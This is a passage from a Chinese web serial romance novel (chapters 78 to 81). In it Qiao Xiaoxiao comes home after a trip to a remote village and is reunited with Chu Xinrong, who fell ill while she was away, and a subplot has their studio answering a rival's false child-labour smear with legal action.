楚心柔轻轻点头,目光落在正笨拙削苹果的杨绯棠身上,这位被薛莜莜宠坏的大小姐,一个苹果削完,果肉都快没了,只剩下可怜巴巴的果核。 病房里原本平静的氛围,却被Sophia一句无心之问打破:“潇潇呢?怎么没来看她索姨?” 话音未落,楚心柔的眼神瞬间黯淡下来。杨绯棠手里的水果刀“哐当”一声砸在盘子上,恶狠狠地瞪向Sophia。 Sophia:…… 她说错了什么吗? 躺在病床上的楚心柔目光暗淡,看着窗外,犹如死尸,一动不动。 “吃苹果么?” …… “不爱吃?那吃橙子么?” …… “橙子也不爱吃?要不我去买点什么饭菜,你想吃啥?甜的还是咸的?” …… 楚心柔一点反应都没有。 杨绯棠看不下去了,她本来不想给她看的,可生怕楚心柔再这么待下去,真的抑郁了。 “喏,你看,小崽子出去玩了,不知道多开心。” 楚心柔终于有了反应,她缓缓地转过了头,看向了屏幕。 都是王宁转发过来的白七拍的乔潇潇的照片。 杨绯棠一双眼睛紧紧地盯着楚心柔,看着她在看到夕阳下乔潇潇开车的模样时,眉头轻轻舒展开,可看到乔潇潇紧缩的背影时,又蹙了起来…… 从病房出来,杨绯棠去门口抽了根烟,她已经戒烟很久了,这是真的憋坏了。 可没抽两口,随着“蹬蹬”高跟鞋的响声,手里的烟被夺走了,刚刚敢来的薛莜莜还没来得及换衣服,一身西裙,长发盘起,气场全开:“谁让你抽烟的?” 杨绯棠望着窗外叹了口气:“这不是……看心柔难受么。” 薛莜莜透过玻璃窗看了眼病房,红唇轻启,“你之前不是还心疼你家崽子么?怎么现在又换对象了。” 杨绯棠怔怔地说:“或许,这就是爱情吧。” 薛莜莜转过身看着她,“什么?” 她很少听到杨绯棠有这样的感悟。 杨绯棠望着病床上蜷缩成一团的楚心柔,缓缓地说:“说实话,刚开始,潇潇走,我虽然生气,但是内心还小爽了一下,觉得她这么晾一下心柔,她或许就开窍了,可现在看看……” “有些人,或许早就动心而不自知了。” 出院那天,为了感谢sophia,杨绯棠随口说了句:“谢谢啊,辛苦了,老索,请你吃饭啊。” 她本来是客气的话,没想到sophia却当真了,当天晚上就去敲门了。 杨绯棠站在门口,盯着她看了好半天,眼睛瞪得大大的:“你还真来了?” sophia笑的腼腆,往里面看了看:“潇潇在呢么?” 杨绯棠:…… 真是贼心不死啊。 潇潇不在,可潇潇爱吃的面条可以在。 杨绯棠想着有人刺激刺激楚心柔也挺好,把sophia让了进去,又喊楚心柔:“索医生饿着肚子来看你了,给她做碗面条吧。” 楚心柔这几天都像是行尸走肉一样,眼里无光,她看了看sophia,sophia点了点头:“面条啊?面条好啊,我最爱吃面条了。” 几分钟之后,sophia就为了自己这句话而后悔。 她看着眼前白花花的面条,愣了半天,对着杨绯棠露出尴尬而不失礼貌的笑。 请问……这是猪食么? 杨绯棠冲她眨了眨眼,“吃啊,这是你心心念念的潇潇最爱吃的。” 说完这话,她意识到失言,一下子用手捂住了自己的嘴。 可已经晚了。 楚心柔听到“潇潇”二字,缓缓地转过头,盯着sophia看了半响,突然眼睛就红了,“潇潇,她喜欢吃……” 吃了三年…… 眼泪突然就落了下来。 杨绯棠跟sophia两个人落荒而逃。 …… 第十天的黄昏,乔潇潇被白七拉着参加了村里的篝火晚会。 村寨中央的空地上,篝火熊熊燃烧,映红了每个人的笑脸。老老少少围坐成圈,木桌上摆满山珍野味和自家酿的米酒。欢快的芦笙声中,不时有人起身跳起古老的舞蹈。 “噼啪”作响的火星飞溅,映照着白七泛红的脸颊。或许是这些天朝夕相处的旅途让她卸下防备,又或许是那杯温热的米酒给了她勇气,她终于问出那个藏在心底许久的问题:“姐姐……你为什么这么伤心?” 跳动的篝火融化了乔潇潇冰封的心。在这远离尘嚣的山寨里,在这质朴温暖的氛围中,她第一次卸下了所有伪装。 背靠着苍劲的古树,望着夜空中飞舞的火星,乔潇潇的声音轻得像一声叹息:“我爱上了一个……不该爱的人。” 火光在她眼底明明灭灭,渐渐泛起晶莹的泪光。 白七尚不懂情爱。 她只记得村里老人讲过的那些爱情故事。 少女的心,总是对爱情充满憧憬。 她歪着头想了想,天真地问:“姐姐,爱是什么?是占有吗?” 乔潇潇一怔,火光在她眼中凝结。 她轻轻摇头。 “当然不是占有。” 白七眨了眨眼睛,声音柔软却坚定:“那既然爱不是占有,喜欢就喜欢呗。对方喜不喜欢你,又有什么关系呢?” 童言无忌,却最是通透。 白七这番话,比杯中烈酒更令人心颤。 小姑娘自己不知道自己带给了乔潇潇怎么样的震撼,转身便蹦跳着融入了欢舞的人群。她轻盈的身影在火光中旋转,像一只自由的蝴蝶。 乔潇潇怔怔地望着那个欢快的身影,视线渐渐模糊。 这些天来用疲惫与奔波筑起的防备,在这个瞬间土崩瓦解。 她蜷缩在树影里,任由思念如潮水般将自己淹没。心脏被攥得生疼,每一次呼吸都带着钝痛。 乔潇潇终于掏出了手机,颤抖的手指划开屏幕的开机键,未读消息的震动持续了很久很久。 在嘈杂的人声中,她忽略了所有人的信息,只点开了那个置顶的对话框。 她原以为会看到决绝的拉黑,或是冰冷的质问,甚至已经做好了面对空荡荡聊天界面的准备。 可都没有。 楚心柔只发了一条微信,却足以让乔潇潇泪流满面。 ——回家吧,潇潇。 【作者有话说】 [撒花]答应的二更来了 79 第79章 ◎这是爱么?◎ 归途和来时完全不是一种心态。 乔潇潇甚至连车都不想开了,直接订了飞机票,临上飞机前,她还在听杨绯棠的咆哮。 “你个小兔崽子,知道开机了?玩失踪了不起吗?” “我告诉你,我很生气,不是一顿烤鸭就能哄好的,我要跟你绝——交!” “绝交前,我还要扎你的心,我要告诉你,你不在这几天,心柔生病住院了!!!” “找你淋了一晚上的雨导致的!!!” …… 杨绯棠说完就“啪”的把手机给挂断了,她不下点猛药,这小崽子下次还敢跑。 一转身,看见刚刚帮忙开好药的sohpia站在她的身后,眼睛瞪的跟个灯泡似的,不可思议地看着杨绯棠,“没想到,你是这么不温柔的姐姐,孩子容易么?” 杨绯棠:…… 姐姐容易么? 她最近被俩人折腾的瘦了足足三斤,她家薛总说手感都不饱满了。 拿着药,杨绯棠回了楚心柔那儿。 楚心柔这几天都要死不活的,无精打采的,今天同样如此,虽然咳嗽好了些,却仍一个人蜷在沙发里,目光空洞地望着天花板发呆。 杨绯棠把水倒好之后,就走到了沙发边,贴着楚心柔,以她的视角去看天花板。 “那里有潇潇么?” 楚心柔的身体明显僵住了。她缓缓转过头,漆黑的眸子直勾勾盯着杨绯棠,那眼神冷岑岑的,看得杨绯棠后颈发凉。可她鼓足勇气对视,理直气壮地说:“我这是在给你做脱敏训练!” 这俩人以后还要生活在一个屋檐下,看现在的状态,感情怕是不能一时半会明了,总不能还不说话吧? 楚心柔的唇抿成一条苍白的线,嘴角微微下垂,“人都没有,做个鸟训练。” 哎呦呦。 快听听。 乔潇潇那小兔崽子,这么一跑,把温柔体贴知性大方的楚姐姐给逼成什么样了。 杨绯棠也不告诉她那崽子要回来了,在旁边拿捏起架势,她拿出手机,给已经关机上了飞机的潇潇发了微信出去。 ——潇潇,你回来嘛,杨姐姐想你想的不行了。 “嗖”的一声微信发出的声音。 楚心柔盯着杨绯棠看。 片刻之后,又是“嗖”的一条微信过来了。 杨绯棠看到之后,仰天大笑,一拍大腿:“得嘞,潇潇说她要回来了,现在已经开始买飞机票了!” 她说完,得意洋洋地看向楚心柔,眼神里写满了挑衅。 ——怎么样?还是她杨姐姐说话有力度吧? 可怜的薛总,百忙之中在开会,还要配合着杨绯棠演戏。 楚心柔用看傻子一样的眼神看她,半响说:“她们要回来的事儿,小七已经告诉我了。” 杨绯棠:…… 我靠嘞!!! 这个混蛋,怎么不说啊! 楚心柔用眼神杀了人,还不忘补充一句诛心:“那里那么偏远,我怎么放心,早就让人跟着了,杨姐姐。” 她怎么能放心?怎么会放心呢? 杨绯棠:…… 好好好。 这是乔潇潇要回来,又有力气欺负她了是不? 不是前几天躺在床上装死人的时候了? 杨绯棠隐忍着,她看着楚心柔露出淑女的笑:“这潇潇要回来了,咱们是不是得把家里收拾收拾?还有你……”她眼里写满了嫌弃,故意拖长音调,“几天没好好打理自己了?头发都蔫巴巴的,身上的香味也淡了。” 楚心柔抬眸,眼神凉凉的,像蒙了一层薄霜:“她一声不吭就跑出去,回来我还得列队欢迎?” 杨绯棠勾唇一笑:“你最好说到做到!” 下午一点多钟。 杨绯棠翘着二郎腿躺在沙发上看手机吃薯片,时不时被手机里的内容逗得嘎嘎大笑,而楚心柔拖着“病体”,正弯腰擦着茶几,动作慢吞吞的。其实家里并不脏,只是落了层薄灰,但她还是固执地拖了一遍地,又整理好沙发靠垫,连茶几上的遥控器都摆得整整齐齐。 等收拾完了,楚心柔又去潇潇的房间转了一圈,床单被罩,都是她换过的,还飘着淡淡的薰衣草清香,一切都是整整齐齐的很满意。 巡视完毕,楚心柔拿着钥匙要出门可。 杨绯棠看了她一眼,“你嘛去啊?” 总不能崽子要回来,她又要跑了吧? 楚心柔头也不回,语气平淡,“我去弄个头发。” 杨绯棠:…… 是谁说的一点不在意? 走在路上,吹着风,楚心柔还在心里告诉自己。 她是真的一点都不在意。 她只是真的做发型了。 只是……为什么,当乔潇潇要回来的消息传来,连拂过面颊的风都变得不一样了? 楚心柔的目光有些恍惚,思绪飘远。她从小就不是一个情感浓烈的人,倒不是说她没有感情,只是她对万事万物都保持着一种克制的“度”,像是一道无形的界限,让她始终无法真正沉溺于什么。 她记得小时候,谢英曾经疯狂迷恋收集小浣熊干脆面里的水浒卡,甚至成箱成箱地买,每天啃着干巴巴的方便面,吃的下巴都尖了,就为了那一张稀有的卡片。 楚心柔站在旁边看着,只觉得难以理解,怎么会有人为了几张纸片痴迷到这种地步? 而杨绯棠则是另一种狂热。她对口红的痴迷近乎偏执,梳妆台上摆满了各式各样的色号,从经典正红到冷门裸粉,琳琅满目。每当Dior、YSL或是某个大牌出了新品,她必定第一时间冲去专柜,眼睛发亮地试色,然后毫不犹豫地买下。 好几次,楚心柔看着杨绯棠跟薛莜莜闹别扭,已经到了要互扔高跟鞋的地步了,可第二天,当薛总拎着那一盒口红进来的时候,杨绯棠就会夸张的捂住嘴尖叫,然后扭着小蛮腰跑过去,很自然地躺在她怀里,“哇,薛总,你好帅啊。” 楚心柔静静地看着她们,像是一个站在热闹人群之外的旁观者。她不明白,为什么她们能如此投入、如此炽热地爱着某样东西。 可如今,她感受到了这种情绪。 这是爱么? 楚心柔不确定,可她可以确定的是自己现在对乔潇潇绝不是什么单纯的“姐妹”情了。 …… 乔潇潇站在机场的出口,微凉的晚风卷着熟悉的气息拂过脸颊。她望着远处摇曳的树影,忽然发觉自己的嘴角不知何时已经扬起,这座曾经让她觉得疏离的城市,此刻竟让她心头泛起一丝暖意。 很奇怪。 明明几个月前离开时,这里对她而言不过是个暂时的落脚点。可因为楚心柔简简单单的“回家”二字,归属感竟像种子般悄然扎根,如今甚至冒出了嫩芽。 只是 指尖无意识地摩挲着行李箱的拉杆,乔潇潇垂下眼帘。那些被刻意压抑的不安与忐忑此刻正悄然滋长,像细密的蛛网缠绕着她的心脏。她忽然意识到,自己竟像个近乡情怯的游子,既渴望又畏惧着即将到来的一切。 果然,逃避的时候有多痛快,面对的时候就有多煎熬。 白七拖着行李箱跟在她身后,脸颊比来时圆润了些。她敏锐地察觉到乔潇潇周身气场的改变,不再一味的低沉阴郁。 从登机那一刻起,姐姐就时而望着舷窗外的云层发呆,时而无意识地用手指敲击扶手,像阴云密布的天空突然透出一缕阳光,晦暗与明澈交替着在她眼底流转。 “姐姐。”白七突然开口,声音轻却坚定,“我自己坐公交车回去。” 她是个懂事的孩子。这一路上,乔潇潇虽然什么都没说,但那份隐忍的急切早已从她频繁看手机的举动里泄露出来。 或许有些重逢,不需要旁观者。 她这一路,不知道多开心,乔潇潇帮她圆了心底的梦,回来之后,白七已经在心里暗暗发誓了,长大后,如果有能力了,一定要好好报答姐姐。 乔潇潇往外走的时候,看手机想着要不要打个网约车,一道瑰红色的身影挟着香风席卷而来,碎花裙摆翻飞如蝶。乔潇潇还没反应过来,耳垂就传来钻心的疼痛,杨绯棠两根纤纤玉指正精准掐着她的软肉,美甲上的水钻在阳光下闪闪发亮。 “乔、潇、潇!”杨绯棠从牙缝里挤出这三个字,柳眉倒竖的模样活像捉奸在床,“你还知道回来?!” 潇潇疼的倒吸一口凉气,可都这会儿了,她也不敢再嘴硬,“杨姐姐,对不起。” 她刚才那点近乡情怯全被这一揪给揪散了。她闻见杨姐姐身上熟悉的香水味,恍惚间竟有些鼻酸。 “哼。” 看崽子瘦了黑了,杨绯棠还是心疼的,本来她在路上都想好了,要是见到乔潇潇,非把她弄哭道歉才善罢甘休,可这么一下,她就心软了。 这个死崽子,这一路肯定没少吃苦。 耳朵被拎着,乔潇潇的眼睛四处看着,杨绯棠一下子戳破她,“别嘀哩咕噜的找了,心柔没来,跟你一样,又是期待又是胆怯又是生气又是开心呢。” 乔潇潇:…… 她杨姐姐真是个人才。 她一路复杂的情绪,被杨绯棠轻而易举的给描述出来了。 有些失落。 可更多的是庆幸。 乔潇潇深吸一口气,突然张开双臂紧紧抱住了杨绯棠。她把脸深深埋进对方的颈窝,声音闷闷地颤抖着:“杨姐姐……对不起……” 这句道歉里浸满了从未示人的脆弱。 从小到大,现实都在告诉乔潇潇:她没有任性的资格,没有不懂事的资本。没有人会为她兜底,没有人会包容她的错误,她必须独自承担一切。 所以,她不敢。 可此刻,这个与她毫无血缘关系的女人,却给了她放肆任性的底气。 杨绯棠原本绷着的表情瞬间软化。她感受着怀里微微发抖的身躯,听着那带着哭腔的道歉,终是长长叹了口气。 她收紧手臂,轻轻拍着乔潇潇的后背,末了又捏了捏她的脸:“哎,我上辈子一定是欠了你们俩的……” 杨绯棠来接乔潇潇的时候,楚心柔特意深深地看了她一眼,“你知道什么该说。” 杨绯棠接了过去,“什么不该说,我当然知道,心柔,你放心!” 信誓旦旦打了保票的杨绯棠这小嘴,上车就没停过。 “我大概是老了,不懂你们这种为了爱情大雨天往外跑浪漫宿命感了,我只知道,她输了三天的液。” “哼哼,你现在知道心疼了?走的时候不是拍拍屁股挺爽的么?” “我跟你说,你啊,就是天底下最没良心的人,好在工作室还不错,我去看了,当初我还对王宁很不满呢,现在看看,人家比你靠谱多了,运转的十分好,我看你可以退位让贤了!” …… 杨绯棠叨叨个不停,这些话都像是细雨一样,滋润了乔潇潇不安的心。 她的杨姐姐就是这样,说最损的话,做最好的事儿。 “还有楚心柔。”一提到她,杨绯棠就满肚子的牢骚,“你说说,明明跑路的是你,不舍得冲你发脾气,一天对我大呼小叫的,把我当穷丫头使唤。对于你回来这事儿,还想要拿捏架子,拿捏个屁咧,当死尸这么多天了,一早上又是打扫卫生又是做头发的,走的时候,我看她连端坐在沙发上的优雅姿势都摆好了,估计这会儿心跳的跟捣蒜似的。” 乔潇潇的眉眼,彻底的舒展开了。 杨绯棠一挑眉:“还有你,从飞机场出来那表情跟快破抹布似的扭曲成这样,现在开心了?你再敢一声不吭地跑路试试看。” 不敢了,也不会了。 乔潇潇学乖了,被这么一箩筐的埋怨压下来,她低眉顺眼的一味装可怜不敢吱声。 快到家门口的时候。 杨绯棠压低声音嘱咐:“潇潇,你小有很多事儿不懂,心柔她……她经历了太多的风浪,她没办法做到你那么理直气壮不管不顾,慢一点,给她点时间。” 乔潇潇眼睛湿润,用力地点了点头。 她现在已经心跳如雷了。 而此刻客厅里的楚心柔,手中的书页早已停止了翻动。她保持着僵坐的姿势,连呼吸都变得小心翼翼。那由远及近的脚步声,每一步都像是踩在她的心尖上。 终于,门被打开了。 三年了,从未分开这么久,心像是被放在锅里煎熬了这么久的两个人重逢了。 楚心柔本来是想要故作淡定,很平静的说一声:“你回来了?”,而乔潇潇也想要冲过去像是以前很多次姐姐在高铁站接她回家时,一头扎进她怀里,说一声:“我回来”。 可是,都没有。 四目相对那一刻,所有的伪装都溃不成军。 【作者有话说】 对于感情,大家不要着急。 不能因为潇潇从小跟着心柔,就一口吞下去,那多没滋味。 爱情么,总是朦朦胧胧的时候,最美妙。[捂脸偷看] 80 第80章 ◎姐姐啊。◎ 四目相对的瞬间,氤氲的水汽在彼此眼底流转,凝结成无声的千言万语。 乔潇潇叫了一声“姐姐”之后,瞬间就哽咽了。 她多想要告诉楚心柔。 ——姐姐,我想通了,只要能够陪在你身边,我什么都能接受。 而楚心柔也是怔怔地看着她,眼睛眨也不眨。 潇潇瘦了,也很累……只是曾经那双总是满是复杂情绪低沉而失落的眼里又有了光亮。 楚心柔也有满腹心事想说,分开的这些日子,她想明白了,世俗的眼光、既定的规则,她都可以不再在意,只希望笑容永远停留在潇潇的脸上。 静默在两人之间流淌,却比任何言语都震耳欲聋。 给杨姐姐直接看傻眼了。 本来还想蹭饭的她腿向后,一步两步,缓缓地退了出去。 阳光泼洒而下,杨绯棠原本下意识抬手遮挡,却在想起屋内光景时忽然顿住。她放下手臂,任由金箔般的光点落满全身,嘴角不自觉扬起轻快的弧度,她忍不住哼起了歌:“如果这都不算爱,我有什么好期待……” 她坏就坏在哼歌就哼歌吧,那声音大到直接传入了屋里两个人的耳朵里。 楚心柔听到后咬了咬唇,偏开了头,脸颊微微泛红,而乔潇潇则是有了勇气,她走到了楚心柔的身边,放下行李,伸出双臂,轻轻地抱住了她。 “姐姐……对不起。” 这短短五个字里,藏着多少辗转难眠的愧疚,又裹着多少欲言又止的酸楚。 楚心柔眼眶微热,抬手回抱住怀中人,轻轻地说:“饿了么?我煮了面。” 怎么能不饿呢? 这几天,乔潇潇不知道多馋这一口面,外面的饭再好,也不如家里的这一口。 她吃的狼吞虎咽,连汤都喝了,跟楚心柔说了这一路的见闻,着重的说了一下自己的车技,“姐姐,我车技已经被练出来了,你想去哪儿,天涯海角我都能带着你去。” 楚心柔在旁边看着她眉宇间的兴奋与疲惫,柔声说:“以后,不要乱跑了。你不在,家里空荡荡的。” 乔潇潇愣了一下,眼睛又开始发烫了。 想象中的批评怪罪都没有,反而满满的都是温柔。 楚心柔真的是想极了她。 每天晚上,楚心柔都会盯着乔潇潇客厅里的桌子发呆。 想着她刚来的时候,坐在那,连呼吸都是小心翼翼的,从放学就开始学习,一学有时候会直接到天亮了。小小的身子就那么弓着,好像不知道疲倦,楚心柔给她收拾过草稿纸,那纸上密密麻麻都是各种运算,她都放起来了,留着以后给潇潇当回忆。 没想到,先翻看这些回忆的,竟成了她自己。 而那些她长高的刻度,楚心柔更是抚摸了无数遍。 是她看着长大的孩子啊。 怎么能说走就走呢? 乔潇潇不敢看楚心柔,声音很低:“姐姐,这段时间你生病了……” 楚心柔知道她心里的内疚,柔声说:“没事儿了,只是偶尔咳嗽一声。”话音未落,又*是一阵压抑的轻咳。 乔潇潇的眼圈瞬间红了,喉头滚动着却说不出话来。 “真的没事。”楚心柔伸手揉了揉她的发顶,声音温柔得像在哄孩子,“专家不是说过吗?每年发次烧反而能调节免疫力,对身体有好处呢。”她说着,嘴角扬起一个略显苍白的笑容,却在对上乔潇潇湿润的目光时,不自觉地偏过了头。 从潇潇进屋后,楚心柔的心跳就失了分寸。 每每与她对视,就更乱几分。 这样的情绪,潇潇早就感受过,她隐忍暗恋了那么多回,也早就练出来了,习惯了对着楚心柔说话的时候,心跳不一样。 连日奔波积攒的疲惫,在这一刻终于决堤。 回到熟悉的家,乔潇潇才觉得双脚真正踏在了实处。她草草冲了个热水澡,本想着小憩片刻就起来给姐姐煲汤,可脑袋刚沾上枕头,沉重的眼皮就再也抬不起来了。 半梦半醒间,她感觉有人轻轻托起她的脑袋。暖风徐徐拂过发间,夹杂着楚心柔身上熟悉的淡香。吹风机的声音很轻,像是怕惊扰了她的梦境。 “姐姐……”乔潇潇无意识地呢喃,声音黏糊糊的,她有点睡迷糊了,恍惚间都不知道自己在哪儿的。 楚心柔停下动作,垂眸望着她睡得泛红的脸颊,指尖温柔地掠过她微蹙的眉心,“嗯,我在,睡吧。” 暖风再次轻轻响起,乔潇潇被温暖与熟悉的气息包围着,很快就睡了过去。 楚心柔却迟迟没有起身。她轻轻放下吹风机,指尖悬在半空,终究没敢触碰那张熟睡的脸。 台灯昏黄的光晕里,她的目光细细描摹着潇潇的轮廓——微颤的睫毛,泛着红晕的脸颊,还有那总是倔强抿着的唇角。 多少个辗转反侧相思的夜里,她就是这样在脑海中一遍遍勾勒这张脸。 如今人就在眼前,却仍觉得不够真实。 这样翻来覆去思念一个人的滋味,她是受够了,往后,无论发生什么,她都不会让潇潇轻易离开了。 乔潇潇第二天醒来就去给楚心柔煲当归大枣乌鸡汤,想着好好给姐姐补充补充营养。 杨绯棠一早上也来了,坐在客厅里跟楚心柔说话。 谈话的内容,楚心柔是一句也不想理她。 那大嗓门,一声一声的穿透厨房的玻璃门,被里面的乔潇潇听得清清楚楚。 “哟,一晚上就给小脸整红润了?能睡着觉了?不是瞪着大眼睛带着黑眼圈装女鬼吓我的时候了?” “啧啧啧,这崽子小是不一样啊,还有安神养颜的效果。” “不是,心柔,你怎么理她了呢?不是要打断她的狗腿么?我看崽子脚丫子好好的无比灵活啊。” “不是让她永远都不要回家了么?快,用不用我把棒子递给你,给她打出去?” …… 乔潇潇在里面做着饭,都忍不住笑了。 客厅里,楚心柔一张脸阴云密布,她忍无可忍看向杨绯棠:“你就不能闭嘴吗?” 杨绯棠美滋滋地靠着沙发,翘起了二郎腿:“不能。” 可真是神清气爽啊,这段时间受的苦,她必须要还回来。 当然,杨姐姐是无差别扫射,不会放过任何一个漏网之鱼。 乔潇潇端着汤出来的时候,杨绯棠笑着说:“哟,看我们潇潇,小脸在外面待的多滋润,我还以为见到她,她得茶不思饭不香呢。” 乔潇潇先把烫端到了姐姐面前,然后走到了沙发旁,一把抱住了杨绯棠,把她扎在她的怀里,蹭了蹭:“杨姐姐,这段时间,我好想你,好想好想。” 杨绯棠肉眼可见的像是被戳破的气球,满肚子的气没了,她沉默了一会儿,手摸了摸潇潇的头发:“虽然你有企图撒娇蒙混过关的嫌疑,但是咱就吃这套,我问你一句话,你——” 乔潇潇抢险回答:“我想你,最想你。” 杨绯棠被哄成了翘嘴,搂着乔潇潇,柔声说:“我也想你。” 崽子离开这几天,她也想死了。 最主要的是……她不仅蹭不到饭了,家里都没有人帮忙打扫了,琴房也没人去塞小广告了,日子不知道多无聊。 旁边,沉默着的楚心柔盯着自己的汤看了好半天,在心底打出了一个大大的问号。 ——是当她死了么? 俩人抱那么紧是被她拆散的双胞胎么? “你去工作室看了么?” 心情放松的杨姐姐开始闲聊了,乔潇潇坐在一边给她剥荔枝,她剥一个杨绯棠吃一个,晶莹剔透的果肉在阳光下泛着诱人的光泽,甜美的汁水顺着指尖滴落。 杨绯棠就像是三岁小孩,冲楚心柔挤眉弄眼,怎么着,看到了么? ——有汤了不起啊,你有荔枝吗? 乔潇潇神情放松,“还没有,不过宁姐操控的不错。” 杨绯棠看她那气定神闲的样子笑了:“不是王宁操控的好,是—— 楚心柔看了她一眼,眼里满满的警告。 杨绯棠一撇嘴,转移话题:“我看你现在着气定神闲的样子,倒是越来越有大佬范儿了,我看啊,现在除了心柔,没谁能让你脸红眼睛红做小媳妇状了。” 乔潇潇:…… 前半句还挺受用的,后面是什么了? “杨绯棠。” 楚心柔不咸不淡的叫了一声,杨绯棠看着她,拉长声音:“干嘛。” 楚心柔定定地看着她,扔出惊天霹雳。 “你吃的荔枝里有虫子。” 杨绯棠:!!! 呕————!!! 乔——潇——潇!!! 潇潇回来的日子,才叫生活啊。 楚心柔的状态肉眼可见的好了起来,眼角的笑意藏都藏不住,整个人像是被春雨滋润过的花枝,连发梢都透着鲜活的气息。 晚上回到家,杨绯棠都忍不住跟薛莜莜聒噪,“你说心柔可真行啊,还死鸭子嘴硬不承认动心呢,她生病的时候,我一天天往过跑,快住她家了,给端茶倒水丫鬟当老佛爷伺候,她一天天跟死尸一样躺着不闻不问,人家崽子一回来,就像是给她喂了灵丹妙药一般。” 薛莜莜轻轻晃着酒杯,琥珀色的液体映着灯光:“所以人们才总说,爱情是最好的良药。” 爱,是可以治愈一切的,古往今来,有多少可歌可泣的爱情故事,为了爱生,为了爱死。 杨绯棠戳着下巴,感慨:“真好啊,看着俩人动不动就眼神闪躲,脸红的样子,荷尔蒙满天飞的感觉,正是最美好的时候。” 薛莜莜听了眯着眼睛,“听你这意思……是嫌我们的荷尔蒙不够多?” 杨绯棠一听,身子一僵,刚想要反应,那份纤细已经揉了进去。 杨绯棠顿时僵住,耳尖以肉眼可见的速度红了起来:“你……哪有这样……” 薛莜莜抬起手,在鼻间轻嗅,低笑着说:“检查过了,存量还很充足。” …… 乔潇潇去了青心巡视了一圈之后,发现工作室正常运行,每个人的状态都很好。 “宁姐,这段时间,多谢你了。” 她的感谢是由衷的,王宁听了微微的笑:“潇潇,我只是完成本职工作,最重要的是楚总也一直帮忙来着。” 乔潇潇愣了愣,王宁把手里的文件递给她,“喏,你看看,之前一直跟咱们咬的很死的“同心”不仅出了很多款跟我们对应的商品,还在网上恶意抹黑我们,说我们有雇佣童工的嫌疑。” 乔潇潇吓了一跳,这可不是小事情,上升到了法律层面。 王宁细条慢捋地说着:“之前,你偶尔带楚总来,她都会嘱咐我,好事儿善事可以做,但一定要注意人员审核,所有员工,务必要满十六周岁。” 当时,楚心柔不仅一次对王宁私下嘱咐:“潇潇那孩子善良,看不了别人受苦,有时候容易冲动,你一定要帮她把好这道关,帮助人有很多方法,要把好事做好才是真正的好。” 就是因为未雨绸缪,一切准备的得当,所以当被同心抹黑的时候,法务部的反击堪称教科书级别的精准打击。 在接到“同心”恶意举报的当天,工作室就启动了紧急预案。王宁带着团队连夜整理出三份关键材料:第一份是所有员工的入职档案复印件,每一份都附有身份证公证文件;第二份是近三年来的工资发放记录和社保缴纳证明;第三份则是工作室监控视频的时间戳存档。 当时楚心柔还在医院,王宁知道不该去打扰的,但乔潇潇联系不上,王宁知道,这绝不是小事很有可能让她多年的心血付之一空,所以,王宁才会拿着所有文件去病房里见了楚心柔。 “这些还不够。”楚心柔细细翻看了文件,“造谣者要付出代价,这样才能杀鸡儆猴,以绝后患。” 青心这些年,比较顺利,虽然也有小坎坷挫折,但是都很快的化解掉了。 乔潇潇也知道,同行里,有不少眼红的,分析她们的经营模式,解拆产品,有些躲在暗处等待打击的机会。 第二天清晨,青心的法务部同时做了三件事:向平台方发送了律师函,要求立即下架不实信息;向公安机关提交了诽谤罪刑事报案材料;最重要的是向市场监管部门举报“同心”涉嫌不正当竞争,附上了对方产品设计图与青心工作室的专利证书对比分析。 更有意思的是,某知名法律博主突然发布视频,详细解读了雇佣童工谣言的违法成本,还特意@可同心官网。 “根据刑法第二百四十六条……”视频里的法学教授推了推眼镜,“这种商业诽谤行为,造成重大损失的,可处三年以下有期徒刑。” 被博主一带动,虽然都不是什么知名企业,却也引起了一波网上的小震动。 当“同心”的老板还在焦头烂额应付市场监管检查时,法院的传票已经送到了前台。 乔潇潇听王宁说着,打开了那个博主的视频,几乎是一瞬间,她就认出了,这个法学教授是楚心柔的一个朋友。 而这些,都是楚心柔在心力交瘁,身体抱恙还在住院期间做的,她没有对乔潇潇说半分。 “姐姐……” 乔潇潇的眼圈红了,她忍不住心中的悸动,一股气的跑回了家。 客厅里。 楚心柔正弯腰整理着照片,听见脚步声猛地抬头,见是潇潇去而复返,指尖微微一颤,下意识将相册合拢。 乔潇潇缓步走近,在她面前蹲下,轻轻翻开那本被匆忙掩起的相册——映入眼帘的,全是她这趟出行时被白七悄悄记录下的瞬间。 照片里的风景很美,可她的神情却并不总是如画般宁静。 长城砖墙前仰望苍穹的侧脸,梯田边被山风吹乱的发丝,篝火旁突然绽放的笑靥白七的镜头精准捕捉了她每个不经意的瞬间。那些被定格的画面里,风景永远只是陪衬,主角永远是她眼中流转的情绪——迷茫的、寂寥的、雀跃的,全都纤毫毕现。 一切的一切都被记录了。 这相册,从楚心柔看到乔潇潇长到15岁,所有的成长经历不过是一张村里免费照的黑白照片后,她开始记录乔潇潇每一个值得纪念的瞬间:第一次独立完成设计的雀跃,加班到深夜时趴在桌上小憩的侧脸,甚至是雨天望着窗外发呆的剪影。 三年的光阴就这样被妥善收藏。 楚心柔不善言辞,却用最温柔的方式,一笔一画地为乔潇潇重新描绘了成长的轨迹。 那些被定格的彩色瞬间,正一点一点覆盖着过往的空白,就像春风拂过荒原,抚平治愈了潇潇心底坑洼的伤痕。 【作者有话说】 呜呜呜,叶子写的都羡慕了。 80-90 81 第81章 ◎你昨天把潇潇吃了?◎ 从小到大,乔潇潇从未被人这样珍视过。久而久之,连她自己都习惯了这种不被在意的感觉,甚至开始相信——她本就不配拥有太多。 就像现在,即便早已衣食无忧,那种刻骨铭心的“不配得感”仍如影随形。所以当谢英出现的那一刻,她就像只受惊的刺猬,瞬间竖起全身的刺,仓皇逃窜。 她从未想过,这世上会有一个人,将她的伤痕小心珍藏,用日复一日的温柔,一点点抚平她内心的皱褶。 乔潇潇的眼眶突然发热,她猛地张开双臂,死死抱住楚心柔,力道大得惊人,仿佛要把对方揉进骨血里。 楚心柔闷哼一声,被勒的有些疼,却只是轻轻抬手,在她背上温柔地轻抚。 熟悉的体温与茉莉香让乔潇潇渐渐平静下来。 她有些难为情,最近似乎总是在流泪。慌乱间,她下意识用脸颊蹭着姐姐的颈窝,想抹去那些脆弱的证据。 这无心的亲昵却让楚心柔呼吸一滞。温软的唇瓣擦过颈侧,像羽毛轻扫过心尖。她不动声色地收紧了环在乔潇潇腰间的手,想要克制压抑回心跳,可那份悸动在相贴的肌肤间悄然蔓延。 心跳开始乱的不像话…… 被紧紧抱住的乔潇潇忽然察觉到了异样,她微微退开一点距离,抬眸去看楚心柔,想确认那急促的心跳是否真的来自对方。 